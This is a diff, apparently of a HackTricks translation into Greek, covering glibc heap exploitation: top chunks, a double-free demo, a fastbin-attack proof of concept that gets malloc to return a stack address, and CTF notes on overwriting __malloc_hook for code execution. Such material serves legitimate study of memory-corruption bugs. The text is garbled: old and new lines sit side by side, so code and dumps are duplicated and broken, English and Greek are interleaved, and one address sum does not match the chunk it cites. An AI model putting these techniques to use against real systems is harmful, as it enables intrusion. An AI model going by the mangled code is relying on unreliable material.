Moreover, at the beginning, it's possible to use the unsorted chunk as the top chunk.
|
||||
Επιπλέον, στην αρχή, είναι δυνατόν να χρησιμοποιηθεί το αταξινόμητο κομμάτι ως το κορυφαίο κομμάτι.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Observe the Top Chunk example</summary>
|
||||
|
||||
<summary>Παρατηρήστε το παράδειγμα του Top Chunk</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
char *chunk;
|
||||
chunk = malloc(24);
|
||||
printf("Address of the chunk: %p\n", (void *)chunk);
|
||||
gets(chunk);
|
||||
return 0;
|
||||
char *chunk;
|
||||
chunk = malloc(24);
|
||||
printf("Address of the chunk: %p\n", (void *)chunk);
|
||||
gets(chunk);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks:
|
||||
|
||||
Μετά την εκτέλεση και την αποσφαλμάτωσή του με ένα σημείο διακοπής στον `ret` opcode του `main`, είδα ότι η malloc επέστρεψε τη διεύθυνση `0xaaaaaaac12a0` και αυτοί είναι οι θρόισμοι:
|
||||
```bash
|
||||
gef➤ heap chunks
|
||||
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
|
||||
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
|
||||
Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
|
||||
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
|
||||
Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
|
||||
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
|
||||
Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
|
||||
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
|
||||
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
|
||||
```
|
||||
|
||||
Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\
|
||||
It's also possible to see the length of the Top chunk on its chunk header:
|
||||
|
||||
Μπορεί να παρατηρηθεί ότι το κορυφαίο κομμάτι βρίσκεται στη διεύθυνση `0xaaaaaaac1ae0`. Αυτό δεν είναι έκπληξη γιατί το τελευταίο κατανεμημένο κομμάτι ήταν στη διεύθυνση `0xaaaaaaac12a0` με μέγεθος `0x410` και `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\
|
||||
Είναι επίσης δυνατό να δούμε το μήκος του κορυφαίου κομματιού στην κεφαλίδα του κομματιού του:
|
||||
```bash
|
||||
gef➤ x/8wx 0xaaaaaaac1ae0 - 16
|
||||
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
|
||||
0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### Last Remainder
|
||||
### Τελευταίο Υπόλοιπο
|
||||
|
||||
When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct.
|
||||
Όταν χρησιμοποιείται το malloc και ένα κομμάτι διαιρείται (από το unsorted bin ή από το top chunk για παράδειγμα), το κομμάτι που δημιουργείται από το υπόλοιπο του διαιρεμένου κομματιού ονομάζεται Τελευταίο Υπόλοιπο και ο δείκτης του αποθηκεύεται στη δομή `malloc_state`.
|
||||
|
||||
## Allocation Flow
|
||||
## Ροή Κατανομής
|
||||
|
||||
Check out:
|
||||
Δείτε:
|
||||
|
||||
{{#ref}}
|
||||
heap-memory-functions/malloc-and-sysmalloc.md
|
||||
{{#endref}}
|
||||
|
||||
## Free Flow
|
||||
## Ροή Απελευθέρωσης
|
||||
|
||||
Check out:
|
||||
Δείτε:
|
||||
|
||||
{{#ref}}
|
||||
heap-memory-functions/free.md
|
||||
{{#endref}}
|
||||
|
||||
## Heap Functions Security Checks
|
||||
## Έλεγχοι Ασφαλείας Συναρτήσεων Heap
|
||||
|
||||
Check the security checks performed by heavily used functions in heap in:
|
||||
Ελέγξτε τους ελέγχους ασφαλείας που εκτελούνται από τις πολύ χρησιμοποιούμενες συναρτήσεις στο heap στο:
|
||||
|
||||
{{#ref}}
|
||||
heap-memory-functions/heap-functions-security-checks.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
|
||||
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
|
||||
|
||||
@ -1,92 +1,90 @@
|
||||
# Double Free
|
||||
# Διπλή Απελευθέρωση
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption.
|
||||
Αν απελευθερώσετε ένα μπλοκ μνήμης περισσότερες από μία φορές, μπορεί να διαταραχθούν τα δεδομένα του αλγορίθμου κατανομής και να ανοίξει ο δρόμος για επιθέσεις. Έτσι συμβαίνει: όταν απελευθερώνετε ένα μπλοκ μνήμης, επιστρέφει σε μια λίστα ελεύθερων κομματιών (π.χ. το "fast bin"). Αν απελευθερώσετε το ίδιο μπλοκ δύο φορές στη σειρά, ο αλγόριθμος κατανομής το ανιχνεύει αυτό και ρίχνει ένα σφάλμα. Αλλά αν **απελευθερώσετε ένα άλλο κομμάτι ενδιάμεσα, ο έλεγχος διπλής απελευθέρωσης παρακάμπτεται**, προκαλώντας διαφθορά.
|
||||
|
||||
Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code.
|
||||
|
||||
Example:
|
||||
Τώρα, όταν ζητήσετε νέα μνήμη (χρησιμοποιώντας `malloc`), ο αλγόριθμος κατανομής μπορεί να σας δώσει ένα **μπλοκ που έχει απελευθερωθεί δύο φορές**. Αυτό μπορεί να οδηγήσει σε δύο διαφορετικούς δείκτες να δείχνουν στην ίδια τοποθεσία μνήμης. Αν ένας επιτιθέμενος ελέγχει έναν από αυτούς τους δείκτες, μπορεί να αλλάξει τα περιεχόμενα αυτής της μνήμης, κάτι που μπορεί να προκαλέσει προβλήματα ασφαλείας ή ακόμη και να τους επιτρέψει να εκτελέσουν κώδικα.
|
||||
|
||||
Παράδειγμα:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int main() {
|
||||
// Allocate memory for three chunks
|
||||
char *a = (char *)malloc(10);
|
||||
char *b = (char *)malloc(10);
|
||||
char *c = (char *)malloc(10);
|
||||
char *d = (char *)malloc(10);
|
||||
char *e = (char *)malloc(10);
|
||||
char *f = (char *)malloc(10);
|
||||
char *g = (char *)malloc(10);
|
||||
char *h = (char *)malloc(10);
|
||||
char *i = (char *)malloc(10);
|
||||
// Allocate memory for three chunks
|
||||
char *a = (char *)malloc(10);
|
||||
char *b = (char *)malloc(10);
|
||||
char *c = (char *)malloc(10);
|
||||
char *d = (char *)malloc(10);
|
||||
char *e = (char *)malloc(10);
|
||||
char *f = (char *)malloc(10);
|
||||
char *g = (char *)malloc(10);
|
||||
char *h = (char *)malloc(10);
|
||||
char *i = (char *)malloc(10);
|
||||
|
||||
// Print initial memory addresses
|
||||
printf("Initial allocations:\n");
|
||||
printf("a: %p\n", (void *)a);
|
||||
printf("b: %p\n", (void *)b);
|
||||
printf("c: %p\n", (void *)c);
|
||||
printf("d: %p\n", (void *)d);
|
||||
printf("e: %p\n", (void *)e);
|
||||
printf("f: %p\n", (void *)f);
|
||||
printf("g: %p\n", (void *)g);
|
||||
printf("h: %p\n", (void *)h);
|
||||
printf("i: %p\n", (void *)i);
|
||||
// Print initial memory addresses
|
||||
printf("Initial allocations:\n");
|
||||
printf("a: %p\n", (void *)a);
|
||||
printf("b: %p\n", (void *)b);
|
||||
printf("c: %p\n", (void *)c);
|
||||
printf("d: %p\n", (void *)d);
|
||||
printf("e: %p\n", (void *)e);
|
||||
printf("f: %p\n", (void *)f);
|
||||
printf("g: %p\n", (void *)g);
|
||||
printf("h: %p\n", (void *)h);
|
||||
printf("i: %p\n", (void *)i);
|
||||
|
||||
// Fill tcache
|
||||
free(a);
|
||||
free(b);
|
||||
free(c);
|
||||
free(d);
|
||||
free(e);
|
||||
free(f);
|
||||
free(g);
|
||||
// Fill tcache
|
||||
free(a);
|
||||
free(b);
|
||||
free(c);
|
||||
free(d);
|
||||
free(e);
|
||||
free(f);
|
||||
free(g);
|
||||
|
||||
// Introduce double-free vulnerability in fast bin
|
||||
free(h);
|
||||
free(i);
|
||||
free(h);
|
||||
// Introduce double-free vulnerability in fast bin
|
||||
free(h);
|
||||
free(i);
|
||||
free(h);
|
||||
|
||||
|
||||
// Reallocate memory and print the addresses
|
||||
char *a1 = (char *)malloc(10);
|
||||
char *b1 = (char *)malloc(10);
|
||||
char *c1 = (char *)malloc(10);
|
||||
char *d1 = (char *)malloc(10);
|
||||
char *e1 = (char *)malloc(10);
|
||||
char *f1 = (char *)malloc(10);
|
||||
char *g1 = (char *)malloc(10);
|
||||
char *h1 = (char *)malloc(10);
|
||||
char *i1 = (char *)malloc(10);
|
||||
char *i2 = (char *)malloc(10);
|
||||
// Reallocate memory and print the addresses
|
||||
char *a1 = (char *)malloc(10);
|
||||
char *b1 = (char *)malloc(10);
|
||||
char *c1 = (char *)malloc(10);
|
||||
char *d1 = (char *)malloc(10);
|
||||
char *e1 = (char *)malloc(10);
|
||||
char *f1 = (char *)malloc(10);
|
||||
char *g1 = (char *)malloc(10);
|
||||
char *h1 = (char *)malloc(10);
|
||||
char *i1 = (char *)malloc(10);
|
||||
char *i2 = (char *)malloc(10);
|
||||
|
||||
// Print initial memory addresses
|
||||
printf("After reallocations:\n");
|
||||
printf("a1: %p\n", (void *)a1);
|
||||
printf("b1: %p\n", (void *)b1);
|
||||
printf("c1: %p\n", (void *)c1);
|
||||
printf("d1: %p\n", (void *)d1);
|
||||
printf("e1: %p\n", (void *)e1);
|
||||
printf("f1: %p\n", (void *)f1);
|
||||
printf("g1: %p\n", (void *)g1);
|
||||
printf("h1: %p\n", (void *)h1);
|
||||
printf("i1: %p\n", (void *)i1);
|
||||
printf("i2: %p\n", (void *)i2);
|
||||
// Print initial memory addresses
|
||||
printf("After reallocations:\n");
|
||||
printf("a1: %p\n", (void *)a1);
|
||||
printf("b1: %p\n", (void *)b1);
|
||||
printf("c1: %p\n", (void *)c1);
|
||||
printf("d1: %p\n", (void *)d1);
|
||||
printf("e1: %p\n", (void *)e1);
|
||||
printf("f1: %p\n", (void *)f1);
|
||||
printf("g1: %p\n", (void *)g1);
|
||||
printf("h1: %p\n", (void *)h1);
|
||||
printf("i1: %p\n", (void *)i1);
|
||||
printf("i2: %p\n", (void *)i2);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Σε αυτό το παράδειγμα, μετά την πλήρωση του tcache με αρκετά ελευθερωμένα κομμάτια (7), ο κώδικας **απελευθερώνει το κομμάτι `h`, στη συνέχεια το κομμάτι `i`, και μετά ξανά το `h`, προκαλώντας μια διπλή απελευθέρωση** (γνωστή και ως Fast Bin dup). Αυτό ανοίγει τη δυνατότητα λήψης επικαλυπτόμενων διευθύνσεων μνήμης κατά την επανακατανομή, πράγμα που σημαίνει ότι δύο ή περισσότερες δείκτες μπορούν να δείχνουν στην ίδια τοποθεσία μνήμης. Η χειραγώγηση δεδομένων μέσω ενός δείκτη μπορεί στη συνέχεια να επηρεάσει τον άλλο, δημιουργώντας έναν κρίσιμο κίνδυνο ασφαλείας και δυνατότητα εκμετάλλευσης.
|
||||
|
||||
In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation.
|
||||
Εκτελώντας το, σημειώστε πώς **`i1` και `i2` πήραν την ίδια διεύθυνση**:
|
||||
|
||||
Executing it, note how **`i1` and `i2` got the same address**:
|
||||
|
||||
<pre><code>Initial allocations:
|
||||
<pre><code>Αρχικές κατανομές:
|
||||
a: 0xaaab0f0c22a0
|
||||
b: 0xaaab0f0c22c0
|
||||
c: 0xaaab0f0c22e0
|
||||
@ -96,7 +94,7 @@ f: 0xaaab0f0c2340
|
||||
g: 0xaaab0f0c2360
|
||||
h: 0xaaab0f0c2380
|
||||
i: 0xaaab0f0c23a0
|
||||
After reallocations:
|
||||
Μετά τις επανακατανομές:
|
||||
a1: 0xaaab0f0c2360
|
||||
b1: 0xaaab0f0c2340
|
||||
c1: 0xaaab0f0c2320
|
||||
@ -109,23 +107,23 @@ h1: 0xaaab0f0c2380
|
||||
</strong><strong>i2: 0xaaab0f0c23a0
|
||||
</strong></code></pre>
|
||||
|
||||
## Examples
|
||||
## Παραδείγματα
|
||||
|
||||
- [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
|
||||
- We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite.
|
||||
- Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance).
|
||||
- One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook`
|
||||
- We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution.
|
||||
- Μπορούμε να κατανεμηθούν μόνο κομμάτια μεγέθους Fast-Bin εκτός από το μέγεθος `0x70`, το οποίο αποτρέπει την συνήθη υπερχείλιση του `__malloc_hook`.
|
||||
- Αντίθετα, χρησιμοποιούμε διευθύνσεις PIE που ξεκινούν με `0x56` ως στόχο για Fast Bin dup (1/2 πιθανότητα).
|
||||
- Ένα μέρος όπου αποθηκεύονται οι διευθύνσεις PIE είναι στο `main_arena`, το οποίο βρίσκεται μέσα στο Glibc και κοντά στο `__malloc_hook`
|
||||
- Στοχεύουμε σε μια συγκεκριμένη μετατόπιση του `main_arena` για να κατανεμηθεί ένα κομμάτι εκεί και συνεχίζουμε να κατανεμηθούμε κομμάτια μέχρι να φτάσουμε στο `__malloc_hook` για να αποκτήσουμε εκτέλεση κώδικα.
|
||||
- [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
|
||||
- Using Tcache bins and a null-byte overflow, we can achieve a double-free situation:
|
||||
- We allocate three chunks of size `0x110` (`A`, `B`, `C`)
|
||||
- We free `B`
|
||||
- We free `A` and allocate again to use the null-byte overflow
|
||||
- Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again
|
||||
- We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free.
|
||||
- We leverage the double free using [Tcache poisoning](tcache-bin-attack.md)
|
||||
- Χρησιμοποιώντας Tcache bins και μια υπερχείλιση null-byte, μπορούμε να επιτύχουμε μια κατάσταση διπλής απελευθέρωσης:
|
||||
- Κατανεμούμε τρία κομμάτια μεγέθους `0x110` (`A`, `B`, `C`)
|
||||
- Απελευθερώνουμε το `B`
|
||||
- Απελευθερώνουμε το `A` και κατανεμούμε ξανά για να χρησιμοποιήσουμε την υπερχείλιση null-byte
|
||||
- Τώρα το πεδίο μεγέθους του `B` είναι `0x100`, αντί για `0x111`, οπότε μπορούμε να το απελευθερώσουμε ξανά
|
||||
- Έχουμε ένα Tcache-bin μεγέθους `0x110` και ένα μεγέθους `0x100` που δείχνουν στην ίδια διεύθυνση. Έτσι έχουμε μια διπλή απελευθέρωση.
|
||||
- Εκμεταλλευόμαστε τη διπλή απελευθέρωση χρησιμοποιώντας [Tcache poisoning](tcache-bin-attack.md)
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free)
|
||||
|
||||
|
||||
@ -4,16 +4,15 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
For more information about what is a fast bin check this page:
|
||||
Για περισσότερες πληροφορίες σχετικά με το τι είναι ένα fast bin, ελέγξτε αυτή τη σελίδα:
|
||||
|
||||
{{#ref}}
|
||||
bins-and-memory-allocations.md
|
||||
{{#endref}}
|
||||
|
||||
Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**.
|
||||
|
||||
As summary:
|
||||
Επειδή το fast bin είναι μια απλή συνδεδεμένη λίστα, υπάρχουν πολύ λιγότερες προστασίες σε σύγκριση με άλλες bins και απλά **η τροποποίηση μιας διεύθυνσης σε ένα ελεύθερο fast bin** chunk είναι αρκετή για να μπορέσετε να **κατανείμετε αργότερα ένα chunk σε οποιαδήποτε διεύθυνση μνήμης**.
|
||||
|
||||
Ως σύνοψη:
|
||||
```c
|
||||
ptr0 = malloc(0x20);
|
||||
ptr1 = malloc(0x20);
|
||||
@ -29,9 +28,7 @@ free(ptr1)
|
||||
ptr2 = malloc(0x20); // This will get ptr1
|
||||
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
|
||||
```
|
||||
|
||||
You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
|
||||
|
||||
Μπορείτε να βρείτε ένα πλήρες παράδειγμα σε έναν πολύ καλά εξηγημένο κώδικα από [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -39,112 +36,111 @@ You can find a full example in a very well explained code from [https://guyinatu
|
||||
|
||||
int main(void)
|
||||
{
|
||||
puts("Today we will be discussing a fastbin attack.");
|
||||
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
|
||||
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
|
||||
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
|
||||
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
|
||||
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
|
||||
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
|
||||
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
|
||||
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
|
||||
puts("Today we will be discussing a fastbin attack.");
|
||||
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
|
||||
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
|
||||
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
|
||||
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
|
||||
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
|
||||
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
|
||||
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
|
||||
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
|
||||
|
||||
puts("Let's start, we will allocate three chunks of size 0x30\n");
|
||||
unsigned long *ptr0, *ptr1, *ptr2;
|
||||
puts("Let's start, we will allocate three chunks of size 0x30\n");
|
||||
unsigned long *ptr0, *ptr1, *ptr2;
|
||||
|
||||
ptr0 = malloc(0x30);
|
||||
ptr1 = malloc(0x30);
|
||||
ptr2 = malloc(0x30);
|
||||
ptr0 = malloc(0x30);
|
||||
ptr1 = malloc(0x30);
|
||||
ptr2 = malloc(0x30);
|
||||
|
||||
printf("Chunk 0: %p\n", ptr0);
|
||||
printf("Chunk 1: %p\n", ptr1);
|
||||
printf("Chunk 2: %p\n\n", ptr2);
|
||||
printf("Chunk 0: %p\n", ptr0);
|
||||
printf("Chunk 1: %p\n", ptr1);
|
||||
printf("Chunk 2: %p\n\n", ptr2);
|
||||
|
||||
|
||||
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
|
||||
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
|
||||
|
||||
int stackVar = 0x55;
|
||||
int stackVar = 0x55;
|
||||
|
||||
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
|
||||
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
|
||||
|
||||
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
|
||||
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
|
||||
|
||||
char *data0 = "00000000";
|
||||
char *data1 = "11111111";
|
||||
char *data2 = "22222222";
|
||||
char *data0 = "00000000";
|
||||
char *data1 = "11111111";
|
||||
char *data2 = "22222222";
|
||||
|
||||
memcpy(ptr0, data0, 0x8);
|
||||
memcpy(ptr1, data1, 0x8);
|
||||
memcpy(ptr2, data2, 0x8);
|
||||
memcpy(ptr0, data0, 0x8);
|
||||
memcpy(ptr1, data1, 0x8);
|
||||
memcpy(ptr2, data2, 0x8);
|
||||
|
||||
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
|
||||
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
|
||||
|
||||
printf("Chunk 0: %s\n", (char *)ptr0);
|
||||
printf("Chunk 1: %s\n", (char *)ptr1);
|
||||
printf("Chunk 2: %s\n\n", (char *)ptr2);
|
||||
printf("Chunk 0: %s\n", (char *)ptr0);
|
||||
printf("Chunk 1: %s\n", (char *)ptr1);
|
||||
printf("Chunk 2: %s\n\n", (char *)ptr2);
|
||||
|
||||
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
|
||||
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
|
||||
|
||||
free(ptr0);
|
||||
free(ptr1);
|
||||
free(ptr2);
|
||||
free(ptr0);
|
||||
free(ptr1);
|
||||
free(ptr2);
|
||||
|
||||
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
|
||||
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
|
||||
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
|
||||
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
|
||||
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
|
||||
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
|
||||
|
||||
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
|
||||
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
|
||||
|
||||
|
||||
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
|
||||
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
|
||||
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
|
||||
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
|
||||
|
||||
*ptr1 = (unsigned long)((char *)&stackVar);
|
||||
*ptr1 = (unsigned long)((char *)&stackVar);
|
||||
|
||||
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
|
||||
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
|
||||
|
||||
|
||||
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
|
||||
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
|
||||
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
|
||||
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
|
||||
|
||||
unsigned long *ptr3, *ptr4, *ptr5;
|
||||
unsigned long *ptr3, *ptr4, *ptr5;
|
||||
|
||||
ptr3 = malloc(0x30);
|
||||
ptr4 = malloc(0x30);
|
||||
ptr5 = malloc(0x30);
|
||||
ptr3 = malloc(0x30);
|
||||
ptr4 = malloc(0x30);
|
||||
ptr5 = malloc(0x30);
|
||||
|
||||
printf("Chunk 3: %p\n", ptr3);
|
||||
printf("Chunk 4: %p\n", ptr4);
|
||||
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
|
||||
printf("Chunk 3: %p\n", ptr3);
|
||||
printf("Chunk 4: %p\n", ptr4);
|
||||
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
|
||||
|
||||
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
|
||||
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
|
||||
}
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md)
|
||||
> Αν είναι δυνατόν να επαναγραφεί η τιμή της παγκόσμιας μεταβλητής **`global_max_fast`** με έναν μεγάλο αριθμό, αυτό επιτρέπει τη δημιουργία γρήγορων κομματιών μεγαλύτερων μεγεθών, δυνητικά επιτρέποντας την εκτέλεση γρήγορων επιθέσεων σε σενάρια όπου δεν ήταν δυνατή προηγουμένως. Αυτή η κατάσταση είναι χρήσιμη στο πλαίσιο της [large bin attack](large-bin-attack.md) και της [unsorted bin attack](unsorted-bin-attack.md)
|
||||
|
||||
## Examples
|
||||
## Παραδείγματα
|
||||
|
||||
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
|
||||
- It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability).
|
||||
- **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`).
|
||||
- **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\
|
||||
Finally a **one gadget** was written in there.
|
||||
